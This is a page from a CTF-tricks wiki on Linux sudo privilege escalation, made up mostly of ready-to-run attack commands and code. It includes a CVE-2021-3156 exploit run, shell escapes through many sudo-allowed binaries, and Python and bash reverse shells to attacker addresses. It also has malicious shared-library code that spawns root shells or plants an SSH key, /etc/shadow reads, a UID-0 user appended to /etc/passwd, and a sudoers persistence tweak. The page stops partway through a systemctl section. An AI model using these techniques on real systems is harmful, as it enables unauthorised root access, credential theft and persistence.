> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/linux/capabilities/privilege-escalation-linux-sudo.md).

# Sudo

## Disable Sudo TTY Tickets

Extended Content:\
Normally, `sudo` requires a password prompt for each new terminal session or TTY. This default behavior is controlled by the `tty_tickets` option, which is enabled by default. When `tty_tickets` is enabled, a user must authenticate to `sudo` on a per-terminal basis. By disabling this option in the `sudoers` file, you can make subsequent `sudo` commands run passwordless for the standard grace period (often 5 minutes) *even when switching* between different TTYs or SSH sessions. Disabling `tty_tickets` allows a user to authenticate to `sudo` on one terminal and then use `sudo` on any other terminal without re-authenticating for the duration of the timeout.

This modification requires existing root privileges to edit `/etc/sudoers` and serves as a persistence/convenience technique, leaving a clear forensic artifact as modifications to `/etc/sudoers` or files within `/etc/sudoers.d/` are detectable.

Append the following line to `/etc/sudoers`:

```bash
echo 'Defaults !tty_tickets' >> /etc/sudoers
```

***

## Exploit Sudo Heap Overflow (CVE-2021-3156)

To exploit the Sudo heap overflow (CVE-2021-3156, Baron Samedit) using a pre-packaged exploit tool like `sudo-hax-me-a-sandwich`, navigate to its directory.

Compile the exploit:

```bash
make
```

Run the exploit by executing the compiled binary:

```bash
./sudo-hax-me-a-sandwich <target>
```

The `<target>` parameter is an integer corresponding to the target distribution and sudo version. Supported targets include:\
0: Ubuntu 18.04/20.04\
1: Debian 10

This exploit abuses the heap overflow to overwrite the `service_user` variable, tricking `sudo` into executing the `sudoedit` command with a user-specified plugin path. It specifies a crafted `LD_PRELOAD` environment variable to load a shared library that executes `/bin/bash` with root privileges when the `sudoedit` command is executed.

***

## Overwrite Sudo-able Script File

If a script or executable is runnable with `sudo NOPASSWD` and you have write permissions on it, you can overwrite its content with arbitrary commands. This allows you to execute your own code with root privileges when the script is run via `sudo`.

Use your preferred method (like `echo` or a text editor) to replace the file's content with your payload.

For example, overwriting a Python script to get a shell:

```bash
rm /home/meliodas/bak.py
touch /home/meliodas/bak.py
echo 'import os

os.system("/bin/bash")' > /home/meliodas/bak.py
sudo /usr/bin/python3 /home/meliodas/bak.py
```

Executing the script via `sudo` will then run your injected commands with root privileges.

Another example involves overwriting a script intended to be run with `awk`:

```bash
echo 'BEGIN {system("/bin/sh")}' > /path/to/awkscript.awk
sudo /path/to/awkscript.awk
```

This overwrites the `awk` script with a simple command that executes `/bin/sh`, providing a root shell when `sudo` is used to run the tampered script.

***

## PrivEsc via Sudo Script Injection

If a script executable via `sudo NOPASSWD` for another user takes user input and executes it unsafely, you can inject commands to run with the target user's privileges. This vulnerability arises when a command is allowed to be run via `sudo` without a password, and that command or the script executing it processes user-supplied data in a way that allows shell metacharacters or other code execution primitives to be included in the command line or executed by the command itself.

Execute the vulnerable script using `sudo` as the target user:

```bash
sudo -u <target_user> <path/to/script>
```

When the script prompts for input, instead of providing the expected input, inject your desired command. For example, if the script executes `$msg 2>/dev/null` where `$msg` is your input:

```bash
# Inject 'cat local.txt' into the prompt
```

This causes `cat local.txt` to be executed as `<target_user>`.

More generally, if a command is permitted via `sudo NOPASSWD` and it executes user-supplied input as part of a shell command, you can often inject commands using shell metacharacters like `;`, `|`, `&`, `$(...)`, or backticks. For instance, if `/usr/bin/command` is allowed via `sudo NOPASSWD` and it takes arguments that are unsafely passed to a shell, you could inject commands like this:

```bash
sudo /usr/bin/command blah; /bin/sh
```

This would execute `/usr/bin/command blah` and then, due to the injected `;`, execute `/bin/sh` with the privileges of the user specified in the `sudoers` entry.

Specific binaries often allowed in `sudoers` with `NOPASSWD` can be exploited if they have features that allow executing arbitrary commands or spawning a shell. Examples include:

* **`find`**: If `find` is allowed with `NOPASSWD`, the `-exec` argument can often be used to execute arbitrary commands. For example:

  ```bash
  sudo /usr/bin/find . -exec /bin/sh \; -quit
  ```

  This command uses `find` to locate files (in the current directory `.`) and for each file found, executes `/bin/sh`. The `-quit` option stops `find` after the first execution.
* **`man`**: Some versions of `man` allow executing commands from within the pager (like `less`). If `man` is allowed via `sudo NOPASSWD`, you can often invoke it on a file and then execute a shell command from within the `man` pager by typing `!` followed by the command, e.g., `!/bin/bash`.
* **`awk`**: If `awk` is allowed via `sudo NOPASSWD`, the `system()` function can be used to execute arbitrary commands. For example:

  ```bash
  sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
  ```

  This `awk` script executes `/bin/bash` when it starts (`BEGIN` block).

Exploiting `sudo NOPASSWD` configurations that execute user input or specific binaries with code execution capabilities allows an attacker to escalate privileges to the target user.

***

## Privilege Escalation Sudo Wildcard

Check your current user's `sudo` permissions using `sudo -l`.

```bash
sudo -l
```

Look for output indicating the user can run *any* command as *any* user, typically shown as `(ALL : ALL) ALL`.

If this permission is found, you can simply execute a shell as the root user using `sudo`.

```bash
sudo su
# or
sudo /bin/bash
```

Note that executing the `sudo` command itself usually requires the current user's password, unless the `NOPASSWD:` option is also present in the `sudoers` configuration. This option is configured in the `/etc/sudoers` file, which is typically edited using the `visudo` command to prevent syntax errors.

A line allowing a user to run all commands as any user without a password would look something like this in the `sudoers` file:

```
username ALL=(ALL:ALL) NOPASSWD: ALL
```

This entry specifies that `username` can execute all commands (`ALL`) as any user (`ALL`) on any host (`ALL`) without being asked for a password (`NOPASSWD`). More specifically, within the entry:

* `username`: the user that can run sudo
* `ALL`: the hosts from which the user can run sudo
* `(ALL:ALL)`: the users and groups the user can run commands as
* `NOPASSWD`: the user doesn't need to enter a password
* `ALL`: the commands the user can run

***

## Privilege Escalation Via Sudo All

Check your user's sudo privileges using `sudo -l`.

```bash
sudo -l
```

If the output indicates the user can run commands as `ALL` users, often shown as `(ALL : ALL) ALL` or just `ALL`, they can execute any command as root (user id 0).

You can use this privilege to obtain a root shell directly through several methods.

One common method is using `sudo -i`. The `-i` (simulate initial login) option runs the shell specified by the target user's password database entry (root by default) as a login shell. This means that login-specific resource files such as `.profile` or `.login` will be read by the shell, and it loads the root users environment variables etc.

```bash
sudo -i
```

Another method is using `sudo -s`. The `-s` (run shell) option runs the shell specified by the SHELL environment variable if it is set, or the shell specified by the invoking user's password database entry. The command is run as a non-login shell, and it loads the current users environment variables.

```bash
sudo -s
```

The command `sudo su` is commonly used to switch to the root user. It executes the `su` command with root privileges. `su` without a username defaults to root. `su` will then ask for root's password. If the user running `sudo su` is already authorized to run `su` as root without a password (via `/etc/sudoers`), this will grant a root shell without asking for root's password. If you run `sudo su -`, `su` will be run as root, and `su` will then start a login shell as root, and load root's environment.

```bash
sudo su
# or for a login shell
sudo su -
```

Alternatively, you can directly execute a shell like bash as root using `sudo /bin/bash`. This will just run `/bin/bash` as root. This will be a non-login shell and loads the current users environment variables.

```bash
sudo /bin/bash
```

Executing any of these commands, provided the user has the necessary `sudo` privileges (like `(ALL : ALL) ALL`), will grant you immediate root access.

***

## Privilege Escalation Via Sudo Find Exec

If a user is allowed to run `find` via `sudo` with the `NOPASSWD` option, specifically permitting the use of the `-exec` flag, this misconfiguration can be abused for privilege escalation. The `-exec` option allows `find` to run any command as root. By passing a shell like `/bin/bash` to `-exec`, you can spawn a root shell.

First, check if the user can run `find` with `sudo` using `sudo -l`. Look for entries like `(ALL) NOPASSWD: /usr/bin/find`. If `-exec` is allowed (which is often implied if `find` is allowed without restrictions), you can use the following command to execute `/bin/bash` with root privileges. The `-quit` option tells `find` to exit immediately after executing the command once, preventing it from potentially traversing the entire filesystem.

```bash
sudo find . -exec /bin/bash \; -quit
```

This will give you a root shell.

***

## Privilege Escalation Via Sudo Su

A common `sudo` misconfiguration allows a specific user to execute the `su` command as root without needing the root user's password. If this misconfiguration exists, a user can gain immediate root access. To check what commands the user can execute as root without asking for a password, you can use the command `sudo -l`.

```bash
sudo -l
```

If you see something like `(ALL) ALL` in the output, it means the user can execute any command as root without asking for a password. In this case, you can simply execute `sudo su` to get a root shell.

```bash
sudo su
```

Executing this command will effectively log the user in as the root user, granting full privileges.

***

## Privilege Escalation via Sudo Misconfiguration

Abuse a misconfiguration in the `sudoers` file where a user is allowed to switch to another user's interactive session without providing a password (`NOPASSWD`). This is typically achieved using `sudo -u <user> <command>` or, to get a full shell, `sudo -i -u <user>`.

This misconfiguration is usually defined within the `/etc/sudoers` file or files included from `/etc/sudoers.d/`. The file is typically edited using the `visudo` command, which checks for syntax errors before saving.

A common way to configure passwordless sudo for a user is by adding a line like this:

```
username ALL=(ALL) NOPASSWD: ALL
```

This line means that the user `username` can execute commands from any terminal (`first ALL`), as any user (`second ALL`), without needing a password (`NOPASSWD`), for any command (`last ALL`). This configuration allows the user to run any command as any user without a password.

Alternatively, passwordless execution can be restricted to specific commands. For instance, to allow a user to run only a specific command as root without a password, the entry might look like:

```
username ALL=(root) NOPASSWD: /path/to/command
```

Another common configuration is to grant passwordless sudo to a group. For example, to allow members of the `wheel` group or a custom `group_name` to run any command as any user without a password:

```
%wheel ALL=(ALL) NOPASSWD: ALL
```

or

```
%group_name ALL=(ALL) NOPASSWD: ALL
```

If the misconfiguration allows interactive login as user `gege` without password, typically indicated by a `NOPASSWD` entry for `gege` covering `ALL` commands or interactive sessions, you can switch using:

```bash
sudo -i -u gege
```

This grants access to the target user's environment and files.

If a user is allowed to run specific commands as another user (like root) without a password, this can also be exploited. For example, if the `sudoers` entry is:

```
user ALL=(ALL) NOPASSWD: /usr/bin/cat
```

The user can then execute `cat` as any user without a password. This could be used to read sensitive files, such as `/etc/shadow`, by running:

```bash
sudo -u root /usr/bin/cat /etc/shadow
```

Similarly, if the entry allows passwordless execution of `/usr/bin/php`:

```
user ALL=(ALL) NOPASSWD: /usr/bin/php
```

The user can potentially execute arbitrary code or get a shell using PHP's `system` function:

```bash
sudo php -r "system('/bin/bash');"
```

Another example could be allowing `/usr/bin/apt` without a password:

```
tecmint ALL=(ALL) NOPASSWD: /usr/bin/apt
```

This would allow the user `tecmint` to run `apt` commands as root without a password, such as updating the package list:

```bash
sudo apt update
```

***

## Privilege Escalation via Sudo NOPASSWD

Check the current user's sudo permissions using:

```bash
sudo -l
```

Look for output lines containing `NOPASSWD:` followed by commands the user is allowed to run. If `NOPASSWD` is present for `ALL` or for specific commands that can be used to execute arbitrary code or spawn a shell (like `/bin/bash`, `/usr/bin/python`, `/usr/bin/find`, etc.), you can execute these commands as the target user (usually root) without needing a password.

To execute an allowed command as root without a password:

```bash
sudo <command>
```

For instance, if `NOPASSWD: ALL` is listed for the user, you can obtain a root shell directly:

```bash
sudo su
# or
sudo /bin/bash
```

Beyond `ALL` or obvious shell commands, many other binaries can be leveraged for privilege escalation if allowed with `NOPASSWD`. Look for commands like scripting interpreters, file manipulation tools, or network utilities.

**Abusing Specific Binaries with NOPASSWD**

If `sudo -l` shows `NOPASSWD` for specific commands, you can often use them to execute arbitrary commands or spawn a root shell.

**Python**

If `/usr/bin/python` or `python` is allowed:

You can execute Python code directly as root. To spawn a root shell:

```bash
sudo python -c 'import pty; pty.spawn("/bin/bash")'
```

Alternatively, for a reverse shell (replace IP and port):

```bash
sudo python -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",9001));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
```

**Find**

If `/usr/bin/find` or `find` is allowed:

The `-exec` option of `find` can be used to execute commands. To get a root shell:

```bash
sudo find . -exec /bin/bash \; -quit
```

**Nmap**

If `/usr/bin/nmap` or `nmap` is allowed:

`nmap` has an interactive mode that allows executing shell commands. Start interactive mode with `sudo` and then use `!sh`:

```bash
sudo nmap --interactive
nmap> !sh
```

**Text Editors (vim, nano, less, more, ed)**

If text editors like `vim`, `nano`, `less`, `more`, or `ed` are allowed, you can often escape to a shell from within the editor running with root privileges.

For `vim`:

Open a file with `sudo vim`:

```bash
sudo vim /etc/passwd
```

While inside `vim`, execute a shell command by typing `:!/bin/bash` and pressing Enter:

```vim
:!/bin/bash
```

For `less` or `more`:

Open a file with `sudo less` or `sudo more`:

```bash
sudo less /etc/passwd
# or
sudo more /etc/passwd
```

While viewing the file, execute a shell command by typing `!/bin/bash` and pressing Enter:

```
!/bin/bash
```

For `ed`:

Start `ed` with `sudo`:

```bash
sudo ed
```

From the `ed` prompt, execute a shell command by typing `!/bin/bash` and pressing Enter:

```ed
!/bin/bash
```

For `nano`:

Open a file with `sudo nano`:

```bash
sudo nano /etc/passwd
```

While inside `nano`, press `Ctrl+R` (Read File), then `Ctrl+X` (Execute Command), then type `reset; sh 1>&0 2>&0` and press Enter:

```
^R^X
reset; sh 1>&0 2>&0
```

***

## Sudo LD\_LIBRARY\_PATH Hijacking

If a `sudo` rule includes `env_keep+=LD_LIBRARY_PATH` for a binary, and that binary uses dynamic libraries, you can hijack one of the libraries. This scenario represents a significant security risk because the `LD_LIBRARY_PATH` environment variable controls where the dynamic linker searches for shared libraries. When `sudo` is configured to preserve this variable, an attacker can potentially force a privileged binary to load a malicious library instead of the legitimate system library.

First, check the `sudo` configuration to identify permitted commands and look for the `env_keep+=LD_LIBRARY_PATH` setting. This can be done using the `sudo -l` command:

```bash
sudo -l
```

This output will show which commands the current user is allowed to run via `sudo` and which environment variables are preserved or explicitly kept. Look for lines like `(ALL) ALL, env_keep+=LD_LIBRARY_PATH` or similar configurations that preserve `LD_LIBRARY_PATH` for specific commands. Identify a binary that is permitted and for which `LD_LIBRARY_PATH` is kept.

Once a suitable binary is identified (e.g., `/usr/sbin/apache2`), determine the shared libraries it uses. The `ldd` command lists the shared libraries required by a program:

```bash
ldd /usr/sbin/apache2
```

Examine the output of `ldd` to find a library that can be targeted for hijacking. The output will show the library name and its path (e.g., `libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1`). You need to choose a library that the target binary depends on.

Next, create a malicious C file designed to execute a payload, such as a root shell, when the crafted library is loaded. A common technique is to use a constructor function (`__attribute__((constructor))`) which is executed automatically when the library is loaded, before the program's `main` function.

```c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void hijack() __attribute__((constructor));

void hijack() {
    // Clean up environment to avoid issues and ensure stable shell
    unsetenv("LD_LIBRARY_PATH");
    // Set effective user/group IDs to root
    setresuid(0,0,0);
    // Execute a root shell
    system("/bin/bash -p");
}
```

This code defines a function `hijack` that is marked as a constructor. When the shared library containing this code is loaded, the `hijack` function will be executed. Inside the function, `unsetenv("LD_LIBRARY_PATH")` is called to clean the environment, `setresuid(0,0,0)` sets the effective user, real user, and saved user IDs to 0 (root), and `system("/bin/bash -p")` executes a privileged bash shell.

Compile this C code into a shared library (`.so`) file. The compiled library must have the same name as the legitimate library you intend to hijack (e.g., `libcrypt.so.1`). Place the compiled malicious library in a directory where you have write permissions, for instance, `/tmp`.

```bash
gcc -o /tmp/libcrypt.so.1 -shared -fPIC malicious_code.c
```

The `gcc` command is used with the `-shared` flag to create a shared library and `-fPIC` (Position-Independent Code) which is necessary for shared libraries. The output file is named `libcrypt.so.1` and placed in `/tmp`.

Finally, execute the permitted `sudo` command, setting the `LD_LIBRARY_PATH` environment variable to the directory containing your malicious library (`/tmp` in this example). Because `LD_LIBRARY_PATH` is preserved by the `sudo` rule, the dynamic linker will search the directory specified in `LD_LIBRARY_PATH` *before* the standard system library paths. This allows your crafted library from `/tmp` to be loaded instead of the legitimate system library, triggering the execution of your malicious code with the elevated privileges granted to the binary by `sudo`.

```bash
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2
```

Upon execution of this command, the vulnerable binary (`/usr/sbin/apache2`) will load your malicious `libcrypt.so.1` from `/tmp`, the constructor function will run, and you should obtain a root shell.

***

## Sudo Misconfiguration (/bin/sh)

If `sudo -l` reveals you can execute a shell interpreter like `/bin/sh`, `/bin/bash`, `/usr/bin/zsh`, etc., with `ALL` or `root` privileges without a password (indicated by `NOPASSWD`), you can execute it directly via `sudo` to obtain a root shell.

If we find that we can run any shell like /bin/bash or /bin/sh using sudo without a password, then we can spawn a root shell using the following command:

```bash
sudo /bin/bash
```

Or for other shells:

```bash
sudo /bin/sh
```

Other common shell interpreters can also be used if permitted:

```bash
sudo zsh
```

```bash
sudo ksh
```

```bash
sudo dash
```

```bash
sudo rbash
```

```bash
sudo pdksh
```

```bash
sudo mksh
```

***

## Sudo Misconfiguration (Run Specific Binary)

If `sudo -l` reveals you are allowed to run a specific binary as another user (e.g., `/home/deploy/password-manager` as `deploy`), you can execute it directly using `sudo -u`.

```bash
sudo -u deploy /home/deploy/password-manager
```

If the binary is exploitable (e.g., a password manager where you know the master password like 'Sample' from static analysis), executing it as the target user might reveal their credentials.

Beyond specific application vulnerabilities, if the binary you are allowed to run via `sudo -u` is a common system utility with interactive capabilities or the ability to execute other commands, it can often be leveraged to gain a shell as the target user. For example, if you have sudo rights to run `find` as another user, you can execute a shell as that user by using the `-exec` flag.

```bash
sudo -u someuser /usr/bin/find /home -exec /bin/bash \;
```

Similarly, if you have sudo rights to run `find` as root, you can execute a root shell using the same method:

```bash
sudo -u root /usr/bin/find . -exec /bin/sh \;
```

Another variation for gaining a root shell if `find` can be run as root is:

```bash
sudo -u root find . -exec /bin/bash -p \;
```

***

## Sudo Misconfiguration Exploitation (Teehee)

If a user has `NOPASSWD` permissions to execute the `tee` command via `sudo`, they can leverage this to append arbitrary data to files, including critical system files like `/etc/passwd`.

The `/etc/passwd` file contains information about users on the system. It is a flat file where each line represents a different user and is composed of seven colon-separated fields:

1. User name (login name)
2. Encrypted password (often 'x' if using shadow passwords, but can contain the hash directly)
3. User ID (UID)
4. Group ID (GID)
5. User Information (GECOS)
6. Home directory
7. Login shell

If write access is available, a new user can be added to this file. Setting the User ID (UID) and Group ID (GID) to 0 grants the new user root privileges, as UID 0 is reserved for the root user.

To exploit this with `sudo tee`, craft a new line for `/etc/passwd` representing a new user with UID/GID 0 (root) and a password hash. Pipe this line to `sudo tee -a /etc/passwd`. The `tee` command writes data to files, and the `-a` flag is essential to append the line rather than overwriting the file, which would likely break the system. `tee` can be used for privileged writes or to write files outside of a user's normal permissions when executed via `sudo`.

A password hash can be generated using tools like `openssl`. For example, to generate an MD5 hash for the password "password" with a salt "mysalt":

```bash
openssl passwd -1 -salt mysalt password
```

Using the generated hash, construct the new line for `/etc/passwd`. For example, to add a user named `root2` with a password derived from `password` (using a placeholder hash `$1$Sr6SPqbU$KJaDU1slVE3qNjquFy22K1`):

```bash
echo 'root2:$1$Sr6SPqbU$KJaDU1slVE3qNjquFy22K1:0:0:::/bin/bash' | sudo tee -a /etc/passwd
```

After executing this command, the new user `root2` with root privileges is added to the system. You can then switch to the new `root2` user using `su root2` and the password corresponding to the hash you used. Remember to replace the example password hash with one appropriate for your specific scenario or challenge.

***

## Sudo Misconfiguration via Writable Script

Find a `sudo` rule that allows executing a script *without* a password (`NOPASSWD`). This can be done by listing your allowed `sudo` privileges:

```bash
sudo -l
```

If a user has write access to a script or binary that is executed by sudo with NOPASSWD, they can modify that script or binary to execute arbitrary commands as the user that the sudo rule permits (often root). If the user can execute a script or program with sudo and the script/program is writable by the user, then the user can modify the script/program to execute arbitrary commands as root.

Analyze the script specified in the sudo rule. If it executes another command or script, identify that second file.

Check the permissions on the second executed file using `ls -la`. If you have write access to it, you can replace its content with your payload.

For example, to check permissions on a script `/opt/script.sh`:

```bash
ls -la /opt/script.sh
```

If writeable, replace its content with your payload. For example, to set the SUID bit on `/bin/bash`, you could replace the contents of the target file with a malicious payload, such as:

```bash
#!/bin/bash
chmod +s /bin/bash
```

This payload could be written to the target file, for example, `/opt/script.sh`.

Now, execute the initial script using the sudo rule. This will run your malicious payload in the second script with the privileges of the user specified in the sudo rule (often root). For example, if the rule allows `sudo /opt/script.sh`:

```bash
sudo /opt/script.sh
```

Finally, execute the SUID binary to get a root shell:

```bash
/bin/bash -p
```

***

## Sudo NOPASSWD /bin/cat Arbitrary File Read

If `sudo -l` reveals that a user can execute `/bin/cat` as root (or `ALL`) without a password (`NOPASSWD`), this misconfiguration can be exploited to read arbitrary files on the system, including those normally only accessible by root. If the user is allowed to run cat command through sudo without password, then any file can be read using cat command with root privileges.

Simply use the allowed `sudo` command followed by `/bin/cat` on the target file path to display its contents with root privileges. It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

For example, to read the root user's private file:

```bash
sudo /bin/cat /root/root.txt
```

Another common target is the `/etc/shadow` file, which contains password hashes:

```bash
sudo cat /etc/shadow
```

Here, the `/etc/shadow` file which contains the password hashes can be read. A generic approach to read a file would be:

```bash
LFILE=file_to_read
sudo cat $LFILE
```

This allows reading files like `/etc/shadow`, `/root/root.txt`, or any other file, effectively achieving local file read as root.

***

## Sudo NOPASSWD ALL Privilege Escalation

If a user has `NOPASSWD: ALL` permissions in the `/etc/sudoers` file, they can execute any command as root (or another user) without providing a password. This configuration is typically represented in the `sudoers` file with an entry like:

```
username ALL=(ALL:ALL) NOPASSWD: ALL
```

You can typically check your sudo privileges using:

```bash
sudo -l
```

If the output indicates `(ALL : ALL) NOPASSWD: ALL`, it signifies that the user can run any command with `sudo` without needing a password. This allows for straightforward privilege escalation to root.

You can simply run a shell command with `sudo` to gain a root shell:

```bash
sudo su
```

or

```bash
sudo bash
```

Alternatively, other commands can be used to spawn a root shell when `NOPASSWD: ALL` is enabled. Some common examples include:

Using interpreters:

```bash
sudo -s
```

```bash
sudo sh
```

```bash
sudo python
```

```python
import os
os.system('/bin/bash')
```

```bash
sudo perl -e 'exec "/bin/bash";'
```

Using file utilities or editors with shell escapes:

```bash
sudo less /etc/passwd
```

(Inside less, type `!/bin/bash`)

```bash
sudo man less
```

(Inside man, type `!/bin/bash`)

```bash
sudo vim
```

(Inside vim, type `:!/bin/bash`)

```bash
sudo ed /etc/passwd
```

(Inside ed, type `!/bin/bash`)

```bash
sudo more /etc/passwd
```

(Inside more, type `!/bin/bash`)

```bash
sudo nano
```

(Inside nano, type `^T`, then enter `/bin/bash`)

Using other utilities:

```bash
sudo awk 'BEGIN {system("/bin/bash")}'
```

```bash
sudo find . -exec /bin/bash \; -quit
```

```bash
sudo nmap --interactive
```

(Inside nmap, type `sh` or `!sh`)

```bash
sudo gdb -q -nx
```

(Inside gdb, type `shell sh`)

Many other commands that allow executing external commands or dropping into a shell can also be leveraged in a similar manner if they are permitted via `NOPASSWD`.

***

## Sudo PATH Hijacking via Disabled Builtin

Sudo rules using `secure_path` can be vulnerable if they place a user-controlled, writable directory (e.g., `/home/mcskidy`) early in the path searched for executables, before standard system paths.

```
secure_path=/home/mcskidy:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
```

A common scenario involves a script executed by this sudo rule (e.g., `/opt/check.sh`) that sources another file (e.g., `/opt/.bashrc`). This sourced file can disable a shell builtin command used by the script without a full path (e.g., `[`).

```bash
# Inside /opt/.bashrc
enable -n [ # Disables the '[' builtin

# Inside /opt/check.sh
# ... later uses:
[ "$response" == "200" ] # Uses the '[' command without full path
```

The `enable` builtin command allows or disallows shell builtins. With the `-n` option and builtin names, builtins are disabled.

When `sudo` executes `/opt/check.sh`, the sourced file disables `[`. Because the script uses `[ "$response" == "200" ]` without a full path, the shell searches `secure_path` for an executable named `[`. Since `/home/mcskidy` is first and writable, an attacker can place a malicious executable there and hijack execution. This technique is known as Writable System Path Privilege Escalation. It occurs when a program executed via sudo calls other programs using relative paths, and the `secure_path` used by sudo contains a user-writable directory before the system directories. An attacker can then place a malicious executable in the writable directory with the same name as a program called by the sudo-executed program to escalate privileges.

For example, consider a vulnerable script that calls `ls` without a full path:

```bash
# vulnerable_script.sh
#!/bin/bash
echo "Running as user $(whoami)"
# Calls 'ls' without a full path
ls -l /root
```

If `/tmp` is in the `secure_path` before system directories and is writable, an attacker could create a malicious `ls` in `/tmp`:

```bash
#!/bin/bash
# /tmp/ls
echo "Hijacked ls!"
id
/bin/bash
```

Executing the vulnerable script via sudo would then execute the malicious `/tmp/ls`.

In the specific case of hijacking the `[` builtin, you would create an executable file named `[` in the user's home directory (`/home/mcskidy`) containing your payload (e.g., a reverse shell or root shell).

```bash
echo '#!/bin/bash' > /home/mcskidy/[
echo '/bin/bash' >> /home/mcskidy/[ # Or your payload
chmod +x /home/mcskidy/[
```

Execute the vulnerable sudo command. The script will now execute your malicious `[` file instead of the shell builtin.

```bash
sudo /opt/check.sh
```

To mitigate this vulnerability, `secure_path` should not contain any user-writable directories. Additionally, any commands run by sudo should use fully qualified paths to prevent path hijacking.

***

## Sudo Perl Command Execution

If `sudo -l` indicates you can run `perl` with sudo privileges, you can leverage the `exec` or `system` functions within perl to break out from restricted environments by spawning an interactive system shell and replace the current process with a root shell.

Using `exec`, you can execute:

```bash
sudo perl -e 'exec "/bin/sh";'
```

Alternatively, using `/bin/bash`:

```bash
sudo perl -e 'exec "/bin/bash";'
```

Using `system`, you can execute:

```bash
sudo perl -e 'system("sh");'
```

Or using `/bin/bash`:

```bash
sudo perl -e 'system("/bin/bash");'
```

***

## Sudo Script Relative Path Injection

When a script executable via `sudo` calls another script using a relative path (e.g., `./another_script.sh`), the operating system looks for `another_script.sh` first in the current working directory. If you can control the current working directory when the `sudo` command is executed, you can place a malicious script with the same name in that directory and have the privileged script execute yours instead of the intended one.

This type of vulnerability often arises when a privileged script executes external commands or other scripts using functions like Python's `subprocess.run` or `subprocess.Popen` without specifying an absolute path or controlling the execution environment's current working directory.

First, identify the vulnerable sudo permission and the relative path execution. You can list allowed `sudo` commands for your user using:

```bash
sudo -l
```

Look for entries that allow executing scripts or binaries that might in turn execute other commands using relative paths. For example, if `sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup` is allowed, and `/opt/scripts/system-checkup.py` contains a line like `subprocess.run(['. /full-checkup.sh'], shell=True)` or `subprocess.Popen("./full-checkup.sh", shell=True)`, it will look for `full-checkup.sh` in the current directory. A simple vulnerable Python script might look like this:

```python
#!/usr/bin/python3
import subprocess
subprocess.run(["./test.sh"])
```

This script executes `./test.sh` using a relative path.

To exploit this:

1. Create your malicious script (e.g., a reverse shell or a simple command like `id`) in a directory where you have write permissions, like `/tmp` or your home directory. Name it exactly what the privileged script is looking for (e.g., `full-checkup.sh` or `test.sh`).

   A reverse shell example:

   ```bash
   echo "/bin/bash -i >& /dev/tcp/your_attacker_ip/4444 0>&1" > full-checkup.sh
   ```

   A simple command example:

   ```bash
   echo "#!/bin/bash\nid" > test.sh
   ```
2. Make the script executable.

   ```bash
   chmod +x full-checkup.sh
   ```

   or

   ```bash
   chmod +x test.sh
   ```
3. Change your current working directory to the location of your malicious script.

   ```bash
   cd /home/svc/
   ```

   or

   ```bash
   cd /tmp
   ```
4. Execute the vulnerable `sudo` command from this directory.

   ```bash
   sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
   ```

   or if exploiting the simple `test.sh` example:

   ```bash
   sudo /home/user/vulnerable.py
   ```

The privileged script will find and execute your malicious script from the current directory, granting you a shell or executing the command (`id` in the simple example) with the permissions of the user executing the `sudo` command (likely root).

***

## Sudo Shared Library Hijacking

When a binary executable run with `sudo` loads a shared library (`.so`) using functions like `dlopen` from a path writable by a user, a malicious library can be placed there. This technique exploits the program's dynamic linking behavior to execute arbitrary code with higher privileges. This method is related to SUID/SGID Shared Object Injection.

Identify the target binary and its sudo permissions (`sudo -l`). Use tools like `ltrace` or `strace` to observe which libraries it attempts to load and from which paths, specifically looking for load attempts from user-writable directories *after* potential initial privilege checks (like password prompts).

One way to identify library loading attempts is by tracing system calls related to file opening. Using `strace` with the `-f` option to follow forks and tracing `openat` and `open` calls can reveal where the program looks for libraries.

```bash
strace -f -e trace=openat,open /path/to/binary
```

Craft a malicious shared library (e.g., `libcounter.so` to match the example). Use the `__attribute__((constructor))` function to ensure your code runs immediately when the library is loaded, before the main program execution begins. An example payload could be adding an SSH key for root access:

```c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

__attribute__((constructor))
void myLibraryInit() {
    // Example payload: Add SSH public key to root's authorized_keys
    // Replace "ssh-rsa ..." with your actual public key
    // Ensure the command is executed with root privileges
    setuid(0); setgid(0); // Ensure root privileges if dropped
    system("echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... your_key_here' >> /root/.ssh/authorized_keys");
}
```

Compile your malicious C code into a shared library (`.so` file). The `-fPIC` option is necessary for position-independent code required for shared libraries, and `-shared` creates the shared library.

```bash
gcc -shared -fPIC -o libcounter.so libcounter.c
```

Transfer the compiled malicious library to the identified user-writable load path on the target system (e.g., `/home/rektsu/.config/` in the provided example).

```bash
wget http://attacker_ip/libcounter.so -O /home/rektsu/.config/libcounter.so
```

Alternatively, if you have direct file access, you can use `cp`. For example, if the vulnerable program searches in `/tmp`:

```bash
cp libexploit.so /tmp/libexploit.so
```

Finally, execute the vulnerable binary using `sudo`. If a password is required, provide it. The binary will load your malicious library from the user-writable path, executing your payload with the privileges of the `sudo` command.

```bash
sudo /usr/bin/stock
```

If the vulnerable binary is `/usr/bin/sudoedit` and it loads libraries from a user-writable path like `/tmp`, the execution might look like this:

```bash
sudo /usr/bin/sudoedit /tmp/file
```

When the `sudo` command executes the target binary, the dynamic linker resolves the shared library dependencies. If a user-writable directory appears in the library search path before the legitimate library, the malicious `.so` file will be loaded and the constructor function will execute with the elevated privileges.

***

## Sudo Systemctl Pager Escape

When a user is allowed to run a command via `sudo` (like `systemctl status`) that produces output displayed in an interactive pager such as `less` or `more`, and the pager is running with elevated privileges (e.g., as root), this can be exploited. If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access.

One way this can occur is by executing a command like `systemctl status` via `sudo`:

```bash
sudo /usr/bin/systemctl status trail.service
```

